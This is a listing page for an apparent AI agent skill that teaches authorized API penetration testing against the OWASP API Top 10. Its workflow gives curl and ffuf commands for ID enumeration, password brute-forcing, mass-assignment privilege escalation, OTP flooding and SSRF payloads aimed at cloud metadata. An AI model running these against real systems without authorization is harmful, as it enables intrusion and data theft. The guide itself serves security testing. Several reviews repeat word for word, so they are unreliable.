testing-api-security-with-owasp-top-10▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Systematically assessing REST and GraphQL API endpoints against the OWASP API Security Top 10 risks using automated and manual testing techniques.
| name | testing-api-security-with-owasp-top-10 |
| description | Systematically assessing REST and GraphQL API endpoints against the OWASP API Security Top 10 risks using automated and manual testing techniques. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - api-security - owasp - rest-api - graphql - burpsuite - postman |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing API Security with OWASP Top 10
When to Use
- During authorized API penetration testing engagements
- When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities
- Before deploying new API endpoints to production environments
- When reviewing API security posture against the OWASP API Security Top 10 (2023)
- For validating API gateway security controls and rate limiting effectiveness
Prerequisites
- Authorization: Written scope document covering all API endpoints to be tested
- Burp Suite Professional: For intercepting and modifying API requests
- Postman: For organizing and executing API test collections
- ffuf: For API endpoint and parameter fuzzing
- curl/httpie: Command-line HTTP clients for manual testing
- API documentation: Swagger/OpenAPI spec, GraphQL schema, or API docs
- jq: JSON processor for parsing API responses (
apt install jq)
Workflow
Step 1: Discover and Map API Endpoints
Enumerate all available API endpoints and understand the API surface.
# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"
# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
# Fuzz for API versions
for v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo "$v: $status"
done
# Check for GraphQL endpoint
for path in graphql graphiql playground query gql; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://api.target.example.com/$path")
echo "$path: $status"
done
Step 2: Test API1 - Broken Object Level Authorization (BOLA)
Test whether users can access objects belonging to other users by manipulating IDs.
# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
# Test IDOR with different ID formats
# Numeric: /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Encoded: /users/MTAy (base64)
Step 3: Test API2 - Broken Authentication
Assess authentication mechanisms for weaknesses.
# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .
# Test JWT token vulnerabilities
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Test "alg: none" attack
# Header: {"alg":"none","typ":"JWT"}
# Create unsigned token with modified claims
# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# Check if token is in response body instead of email only
Step 4: Test API3 - Broken Object Property Level Authorization
Test for excessive data exposure and mass assignment vulnerabilities.
# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII
# Test mass assignment - try adding admin properties
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Test with PATCH method
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
Step 5: Test API4/API6 - Rate Limiting and Unrestricted Access to Sensitive Flows
Verify rate limiting and resource consumption controls.
# Test rate limiting on authentication endpoint
for i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo "Attempt $i: $status"
if [ "$status" == "429" ]; then
echo "Rate limited at attempt $i"
break
fi
done
# Test for unrestricted resource consumption
# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
# GraphQL depth/complexity attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"
# Test SMS/email flooding via OTP endpoint
for i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"
done
Step 6: Test API5 - Broken Function Level Authorization
Check for privilege escalation through administrative endpoints.
# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
"/api/v1/admin/users"
"/api/v1/admin/settings"
"/api/v1/admin/logs"
"/api/v1/internal/config"
"/api/v1/users?role=admin"
"/api/v1/admin/export"
)
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
for method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
echo "POTENTIAL ISSUE: $method $endpoint returned $status"
fi
done
done
# Test HTTP method switching
# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"
Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption
# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"
# API8: Security Misconfiguration
# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"
# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"
# API9: Improper Inventory Management
# Test deprecated API versions
for v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"
done
# API10: Unsafe Consumption of APIs
# Test if the API blindly trusts third-party data
# Check webhook/callback implementations for injection
Key Concepts
| Concept | Description |
|---|---|
| BOLA (API1) | Broken Object Level Authorization - accessing objects belonging to other users |
| Broken Authentication (API2) | Weak authentication mechanisms allowing credential stuffing or token manipulation |
| BOPLA (API3) | Broken Object Property Level Authorization - excessive data exposure or mass assignment |
| Unrestricted Resource Consumption (API4) | Missing rate limiting enabling DoS or brute-force attacks |
| Broken Function Level Auth (API5) | Regular users accessing admin-level API functions |
| SSRF (API7) | Server-Side Request Forgery through API parameters accepting URLs |
| Security Misconfiguration (API8) | Missing security headers, verbose errors, permissive CORS |
| Improper Inventory (API9) | Undocumented, deprecated, or shadow API endpoints left exposed |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | API interception, scanning, and manual testing |
| Postman | API collection management and automated test execution |
| ffuf | API endpoint and parameter fuzzing |
| Kiterunner | API endpoint discovery using common API path patterns |
| jwt_tool | JWT token analysis, manipulation, and attack automation |
| GraphQL Voyager | GraphQL schema visualization and introspection analysis |
| Arjun | HTTP parameter discovery for API endpoints |
Common Scenarios
Scenario 1: BOLA in E-commerce API
User A can access User B's order details by changing the order ID in /api/v1/orders/{id}. The API only checks authentication but not authorization on the object level.
Scenario 2: Mass Assignment on User Profile
The user update endpoint accepts a role field in the JSON body. By adding "role":"admin" to a profile update request, a regular user escalates to administrator privileges.
Scenario 3: Deprecated API Version Bypass
The /api/v2/users endpoint has proper rate limiting, but /api/v1/users (still active) has no rate limiting. Attackers use the old version to brute-force credentials.
Scenario 4: GraphQL Introspection Data Leak
GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.
Output Format
## API Security Assessment Report
**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**
| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |
### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.
How to use testing-api-security-with-owasp-top-10 on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-api-security-with-owasp-top-10
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-api-security-with-owasp-top-10 from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-api-security-with-owasp-top-10. Access the skill through slash commands (e.g., /testing-api-security-with-owasp-top-10) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.6★★★★★38 reviews- ★★★★★Kaira Menon· Dec 24, 2024
I recommend testing-api-security-with-owasp-top-10 for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Pratham Ware· Dec 16, 2024
Keeps context tight: testing-api-security-with-owasp-top-10 is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Amina Srinivasan· Dec 12, 2024
Keeps context tight: testing-api-security-with-owasp-top-10 is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Kofi Dixit· Dec 4, 2024
We added testing-api-security-with-owasp-top-10 from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Hiroshi Torres· Nov 15, 2024
Solid pick for teams standardizing on skills: testing-api-security-with-owasp-top-10 is focused, and the summary matches what you get after install.
- ★★★★★Sakshi Patil· Nov 7, 2024
Registry listing for testing-api-security-with-owasp-top-10 matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Fatima Okafor· Nov 3, 2024
Registry listing for testing-api-security-with-owasp-top-10 matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Chaitanya Patil· Oct 26, 2024
testing-api-security-with-owasp-top-10 reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Aanya Robinson· Oct 22, 2024
testing-api-security-with-owasp-top-10 reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Harper Patel· Oct 6, 2024
testing-api-security-with-owasp-top-10 has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 38